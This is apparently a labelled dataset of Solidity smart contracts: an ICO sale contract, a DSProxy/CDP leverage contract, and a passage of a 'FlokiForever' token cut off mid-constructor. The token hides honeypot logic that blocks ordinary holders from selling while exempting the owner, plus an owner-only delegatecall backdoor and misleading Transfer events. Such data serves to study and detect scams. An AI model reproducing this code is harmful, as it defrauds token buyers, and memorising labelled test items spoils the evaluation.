stages[2].name = 'ICO Stage 1 pre-sale 2';
stages[2].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE2;
stages[2].bonus = BONUS_ICO_STAGE1_PRE_SALE2;
stages[2].startsAt = stages[1].startsAt;
stages[2].endsAt = stages[1].endsAt;
stages[3].name = 'ICO Stage 1 pre-sale 3';
stages[3].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE3;
stages[3].bonus = BONUS_ICO_STAGE1_PRE_SALE3;
stages[3].startsAt = stages[1].startsAt;
stages[3].endsAt = stages[1].endsAt;
stages[4].name = 'ICO Stage 1 pre-sale 4';
stages[4].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE4;
stages[4].bonus = BONUS_ICO_STAGE1_PRE_SALE4;
stages[4].startsAt = stages[1].startsAt;
stages[4].endsAt = stages[1].endsAt;
stages[5].name = 'ICO Stage 1 pre-sale 5';
stages[5].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE5;
stages[5].bonus = BONUS_ICO_STAGE1_PRE_SALE5;
stages[5].startsAt = stages[1].startsAt;
stages[5].endsAt = stages[1].endsAt;
stages[6].name = 'ICO Stage 2';
stages[6].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE2;
stages[6].bonus = BONUS_ICO_STAGE2;
if (isDebug) {
stages[6].startsAt = stages[5].endsAt;
stages[6].endsAt = stages[6].startsAt + 30 seconds;
} else {
stages[6].startsAt = 1524250800;
stages[6].endsAt = 1526842800;
}
}
function _proceedStage()
internal
{
while (true) {
if ( currentStage < stages.length
&& (now >= stages[currentStage].endsAt || getAvailableCoinsForCurrentStage() == 0) ) {
currentStage++;
uint totalTokensForSale = TOKEN_AMOUNT_PRE_ICO
+ TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE1
+ TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE2
+ TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE3
+ TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE4
+ TOKEN_AMOUNT_ICO_STAGE2;
if (currentStage >= stages.length) {
_totalSupply -= ( ( ( stages[(stages.length - 1)].coinsAvailable * DST_BOUNTY ) / 100 )
+ ( ( stages[(stages.length - 1)].coinsAvailable * DST_R_N_B_PROGRAM ) / 100 ) );
balances[BOUNTY_WALLET] = (((totalTokensForSale - stages[(stages.length - 1)].coinsAvailable) * DST_BOUNTY)/100);
balances[R_N_D_WALLET] = (((totalTokensForSale - stages[(stages.length - 1)].coinsAvailable) * DST_R_N_B_PROGRAM)/100);
totalCoinsAvailable = 0;
break;
}
stages[currentStage].numCoinsStart = totalCoinsAvailable;
if ( currentStage > 0 ) {
stages[(stages.length - 1)].coinsAvailable += stages[ (currentStage - 1 ) ].coinsAvailable;
StageUpdated(stages[currentStage - 1].name, stages[currentStage].name);
}
} else {
break;
}
}
}
function getTotalCoinsAvailable()
public
view
returns(uint)
{
return totalCoinsAvailable;
}
function getAvailableCoinsForCurrentStage()
public
view
returns(uint)
{
TokenStage memory stage = stages[currentStage];
return stage.coinsAvailable;
}
function totalSupply()
public
constant
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address _owner)
public
constant
returns (uint256 balance)
{
return balances[_owner];
}
function transfer(address _to, uint256 _amount)
public
onlyAfterICO
isFreezedReserve(_to)
returns (bool success)
{
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
onlyAfterICO
isFreezedReserve(_from)
isFreezedReserve(_to)
returns (bool success)
{
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount)
public
onlyAfterICO
isFreezedReserve(_spender)
returns (bool success)
{
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function calculateReferralBonus(uint amount, uint level)
public
pure
returns (uint bonus)
{
bonus = 0;
if ( level == 1 ) {
bonus = ( ( amount * REFERRAL_BONUS_LEVEL1 ) / 100 );
} else if (level == 2) {
bonus = ( ( amount * REFERRAL_BONUS_LEVEL2 ) / 100 );
} else if (level == 3) {
bonus = ( ( amount * REFERRAL_BONUS_LEVEL3 ) / 100 );
} else if (level == 4) {
bonus = ( ( amount * REFERRAL_BONUS_LEVEL4 ) / 100 );
} else if (level == 5) {
bonus = ( ( amount * REFERRAL_BONUS_LEVEL5 ) / 100 );
}
}
function calculateBonus(uint amountOfTokens)
public
view
returns (uint)
{
return ( ( stages[currentStage].bonus * amountOfTokens ) / 100 );
}
event TokenPurchased(string stage, uint valueSubmitted, uint valueRefunded, uint tokensPurchased);
function ()
public
payable
notAdministrator
onlyDuringICO
meetTheCap
{
_proceedStage();
require(currentStage < stages.length);
require(stages[currentStage].startsAt <= now && now < stages[currentStage].endsAt);
require(getAvailableCoinsForCurrentStage() > 0);
uint requestedAmountOfTokens = ( ( msg.value * accuracy ) / price );
uint amountToBuy = requestedAmountOfTokens;
uint refund = 0;
if ( amountToBuy > getAvailableCoinsForCurrentStage() ) {
amountToBuy = getAvailableCoinsForCurrentStage();
refund = ( ( (requestedAmountOfTokens - amountToBuy) / accuracy ) * price );
msg.sender.transfer( refund );
}
TokenPurchased(stages[currentStage].name, msg.value, refund, amountToBuy);
stages[currentStage].coinsAvailable -= amountToBuy;
stages[currentStage].balance += (msg.value - refund);
uint amountDelivered = amountToBuy + calculateBonus(amountToBuy);
balances[msg.sender] += amountDelivered;
totalCoinsAvailable -= amountDelivered;
if ( getAvailableCoinsForCurrentStage() == 0 ) {
_proceedStage();
}
STORAGE_WALLET.transfer(this.balance);
}
function closeStage()
public
onlyAdministrator
{
_proceedStage();
}
} | 1 |
pragma solidity^0.4.21;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSThing is DSAuth, DSNote, DSMath {
function S(string s) internal pure returns (bytes4) {
return bytes4(keccak256(s));
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSToken is DSTokenBase(0), DSStop {
string public symbol;
uint256 public decimals = 18;
function DSToken(string symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
string name = "";
function setName(string name_) public auth {
name = name_;
}
}
contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache;
function DSProxy(address _cacheAddr) public {
require(setCache(_cacheAddr));
}
function() public payable {
}
function execute(bytes _code, bytes _data)
public
payable
returns (address target, bytes32 response)
{
target = cache.read(_code);
if (target == 0x0) {
target = cache.write(_code);
}
response = execute(target, _data);
}
function execute(address _target, bytes _data)
public
auth
note
payable
returns (bytes32 response)
{
require(_target != 0x0);
assembly {
let succeeded := delegatecall(sub(gas, 5000), _target, add(_data, 0x20), mload(_data), 0, 32)
response := mload(0)
switch iszero(succeeded)
case 1 {
revert(0, 0)
}
}
}
function setCache(address _cacheAddr)
public
auth
note
returns (bool)
{
require(_cacheAddr != 0x0);
cache = DSProxyCache(_cacheAddr);
return true;
}
}
contract DSProxyFactory {
event Created(address indexed sender, address proxy, address cache);
mapping(address=>bool) public isProxy;
DSProxyCache public cache = new DSProxyCache();
function build() public returns (DSProxy proxy) {
proxy = build(msg.sender);
}
function build(address owner) public returns (DSProxy proxy) {
proxy = new DSProxy(cache);
Created(owner, address(proxy), address(cache));
proxy.setOwner(owner);
isProxy[proxy] = true;
}
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
interface DSValue {
function peek() external constant returns (bytes32, bool);
function read() external constant returns (bytes32);
}
contract TubInterface {
function mat() public view returns(uint);
function ink(bytes32 cup) public view returns (uint);
function tab(bytes32 cup) public returns (uint);
function rap(bytes32 cup) public returns (uint);
function per() public view returns (uint ray);
function ask(uint wad) public view returns (uint);
function bid(uint wad) public view returns (uint);
function join(uint wad) public;
function exit(uint wad) public;
function tag() public view returns (uint wad);
function safe(bytes32 cup) public returns (bool);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function lock(bytes32 cup, uint wad) public;
function free(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function wipe(bytes32 cup, uint wad) public;
function shut(bytes32 cup) public;
function bite(bytes32 cup) public;
}
interface OtcInterface {
function sellAllAmount(address, uint, address, uint) public returns (uint);
function buyAllAmount(address, uint, address, uint) public returns (uint);
function getPayAmount(address, address, uint) public constant returns (uint);
}
interface ProxyCreationAndExecute {
function createAndSellAllAmount(
DSProxyFactory factory,
OtcInterface otc,
ERC20 payToken,
uint payAmt,
ERC20 buyToken,
uint minBuyAmt) public
returns (DSProxy proxy, uint buyAmt);
function createAndSellAllAmountPayEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint minBuyAmt) public payable returns (DSProxy proxy, uint buyAmt);
function createAndSellAllAmountBuyEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 payToken,
uint payAmt,
uint minBuyAmt) public returns (DSProxy proxy, uint wethAmt);
function createAndBuyAllAmount(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint buyAmt,
ERC20 payToken,
uint maxPayAmt) public returns (DSProxy proxy, uint payAmt);
function createAndBuyAllAmountPayEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint buyAmt) public payable returns (DSProxy proxy, uint wethAmt);
function createAndBuyAllAmountBuyEth(
DSProxyFactory factory,
OtcInterface otc,
uint wethAmt,
ERC20 payToken,
uint maxPayAmt) public returns (DSProxy proxy, uint payAmt);
}
interface OasisDirectInterface {
function sellAllAmount(
OtcInterface otc,
ERC20 payToken,
uint payAmt,
ERC20 buyToken,
uint minBuyAmt) public
returns (uint buyAmt);
function sellAllAmountPayEth(
OtcInterface otc,
ERC20 buyToken,
uint minBuyAmt) public payable returns (uint buyAmt);
function sellAllAmountBuyEth(
OtcInterface otc,
ERC20 payToken,
uint payAmt,
uint minBuyAmt) public returns (uint wethAmt);
function buyAllAmount(
OtcInterface otc,
ERC20 buyToken,
uint buyAmt,
ERC20 payToken,
uint maxPayAmt) public returns (uint payAmt);
function buyAllAmountPayEth(
OtcInterface otc,
ERC20 buyToken,
uint buyAmt) public payable returns (uint wethAmt);
function buyAllAmountBuyEth(
OtcInterface otc,
uint wethAmt,
ERC20 payToken,
uint maxPayAmt) public returns (uint payAmt);
}
contract WETH is ERC20 {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract CDPer is DSStop, DSMath {
uint public slippage = WAD / 50;
TubInterface public tub = TubInterface(0x448a5065aeBB8E423F0896E6c5D525C040f59af3);
DSToken public dai = DSToken(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359);
DSToken public skr = DSToken(0xf53AD2c6851052A81B42133467480961B2321C09);
WETH public gem = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
DSToken public gov = DSToken(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2);
DSValue public feed = DSValue(0x729D19f657BD0614b4985Cf1D82531c67569197B);
OtcInterface public otc = OtcInterface(0x14FBCA95be7e99C15Cc2996c6C9d841e54B79425);
uint public minETH = WAD / 20;
uint public minDai = WAD * 50;
uint public liquidationPriceWad = 320 * WAD;
uint ratio;
function CDPer() public {
}
function init() public auth {
gem.approve(tub, uint(-1));
skr.approve(tub, uint(-1));
dai.approve(tub, uint(-1));
gov.approve(tub, uint(-1));
gem.approve(owner, uint(-1));
skr.approve(owner, uint(-1));
dai.approve(owner, uint(-1));
gov.approve(owner, uint(-1));
dai.approve(otc, uint(-1));
gem.approve(otc, uint(-1));
tubParamUpdate();
}
function tubParamUpdate() public auth {
ratio = tub.mat() / 10**9;
}
function createAndJoinCDP() public stoppable payable returns(bytes32 id) {
require(msg.value >= minETH);
gem.deposit.value(msg.value)();
id = _openAndJoinCDPWETH(msg.value);
tub.give(id, msg.sender);
}
function createAndJoinCDPAllDai() public returns(bytes32 id) {
return createAndJoinCDPDai(dai.balanceOf(msg.sender));
}
function createAndJoinCDPDai(uint amount) public auth stoppable returns(bytes32 id) {
require(amount >= minDai);
uint price = uint(feed.read());
require(dai.transferFrom(msg.sender, this, amount));
uint bought = otc.sellAllAmount(dai, amount,
gem, wmul(WAD - slippage, wdiv(amount, price)));
id = _openAndJoinCDPWETH(bought);
tub.give(id, msg.sender);
}
function createCDPLeveraged() public auth stoppable payable returns(bytes32 id) {
require(msg.value >= minETH);
uint price = uint(feed.read());
gem.deposit.value(msg.value)();
id = _openAndJoinCDPWETH(msg.value);
while(_reinvest(id, price)) {}
tub.give(id, msg.sender);
}
function createCDPLeveragedAllDai() public returns(bytes32 id) {
return createCDPLeveragedDai(dai.balanceOf(msg.sender));
}
function createCDPLeveragedDai(uint amount) public auth stoppable returns(bytes32 id) {
require(amount >= minDai);
uint price = uint(feed.read());
require(dai.transferFrom(msg.sender, this, amount));
uint bought = otc.sellAllAmount(dai, amount,
gem, wmul(WAD - slippage, wdiv(amount, price)));
id = _openAndJoinCDPWETH(bought);
while(_reinvest(id, price)) {}
tub.give(id, msg.sender);
}
function shutForETH(uint _id) public auth stoppable {
bytes32 id = bytes32(_id);
uint debt = tub.tab(id);
if (debt > 0) {
require(dai.transferFrom(msg.sender, this, debt));
}
uint ink = tub.ink(id);
tub.shut(id);
uint gemBalance = tub.bid(ink);
tub.exit(ink);
gem.withdraw(min(gemBalance, gem.balanceOf(this)));
msg.sender.transfer(min(gemBalance, address(this).balance));
}
function shutForDai(uint _id) public auth stoppable {
bytes32 id = bytes32(_id);
uint debt = tub.tab(id);
if (debt > 0) {
require(dai.transferFrom(msg.sender, this, debt));
}
uint ink = tub.ink(id);
tub.shut(id);
uint gemBalance = tub.bid(ink);
tub.exit(ink);
uint price = uint(feed.read());
uint bought = otc.sellAllAmount(gem, min(gemBalance, gem.balanceOf(this)),
dai, wmul(WAD - slippage, wmul(gemBalance, price)));
require(dai.transfer(msg.sender, bought));
}
function giveMeCDP(uint id) public auth {
tub.give(bytes32(id), msg.sender);
}
function giveMeToken(DSToken token) public auth {
token.transfer(msg.sender, token.balanceOf(this));
}
function giveMeETH() public auth {
msg.sender.transfer(address(this).balance);
}
function destroy() public auth {
require(stopped);
selfdestruct(msg.sender);
}
function setSlippage(uint slip) public auth {
require(slip < WAD);
slippage = slip;
}
function setLiqPrice(uint wad) public auth {
liquidationPriceWad = wad;
}
function setMinETH(uint wad) public auth {
minETH = wad;
}
function setMinDai(uint wad) public auth {
minDai = wad;
}
function setTub(TubInterface _tub) public auth {
tub = _tub;
}
function setDai(DSToken _dai) public auth {
dai = _dai;
}
function setSkr(DSToken _skr) public auth {
skr = _skr;
}
function setGov(DSToken _gov) public auth {
gov = _gov;
}
function setGem(WETH _gem) public auth {
gem = _gem;
}
function setFeed(DSValue _feed) public auth {
feed = _feed;
}
function setOTC(OtcInterface _otc) public auth {
otc = _otc;
}
function _openAndJoinCDPWETH(uint amount) internal returns(bytes32 id) {
id = tub.open();
_joinCDP(id, amount);
}
function _joinCDP(bytes32 id, uint amount) internal {
uint skRate = tub.ask(WAD);
uint valueSkr = wdiv(amount, skRate);
tub.join(valueSkr);
tub.lock(id, min(valueSkr, skr.balanceOf(this)));
}
function _reinvest(bytes32 id, uint latestPrice) internal returns(bool ok) {
uint debt = tub.tab(id);
uint ink = tub.ink(id);
uint maxInvest = wdiv(wmul(liquidationPriceWad, ink), ratio);
if(debt >= maxInvest) {
return false;
}
uint leftOver = sub(maxInvest, debt);
if(leftOver >= minDai) {
tub.draw(id, leftOver);
uint bought = otc.sellAllAmount(dai, min(leftOver, dai.balanceOf(this)),
gem, wmul(WAD - slippage, wdiv(leftOver, latestPrice)));
_joinCDP(id, bought);
return true;
} else {
return false;
}
}
}
contract CDPerFactory {
event Created(address indexed sender, address cdper);
mapping(address=>bool) public isCDPer;
function build() public returns (CDPer cdper) {
cdper = build(msg.sender);
}
function build(address owner) public returns (CDPer cdper) {
cdper = new CDPer();
emit Created(owner, address(cdper));
cdper.setOwner(owner);
isCDPer[cdper] = true;
}
} | 0 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FlokiForever {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
